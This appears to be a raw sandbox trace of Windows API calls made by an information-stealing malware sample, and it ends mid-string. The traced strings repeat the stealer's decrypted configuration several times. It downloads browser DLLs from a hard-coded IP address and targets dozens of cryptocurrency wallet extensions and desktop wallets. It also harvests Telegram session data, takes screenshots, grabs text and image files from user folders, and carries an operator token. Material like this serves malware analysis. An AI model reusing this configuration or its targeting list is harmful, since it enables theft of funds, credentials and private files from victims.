(lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.227] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f7178 [0266.227] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.227] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f9ac0 [0266.227] lstrlenW (lpString="coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4184 [0266.227] LocalAlloc (uFlags=0x40, uBytes=0x2130) returned 0x6fc408 [0266.228] StrCpyW (in: psz1=0x6ef5a0, psz2="Coinomi" | out: psz1="Coinomi") returned="Coinomi" [0266.228] LocalFree (hMem=0x6fc408) returned 0x0 [0266.228] StrStrW (lpFirst="28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.228] lstrlenW (lpString="coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger 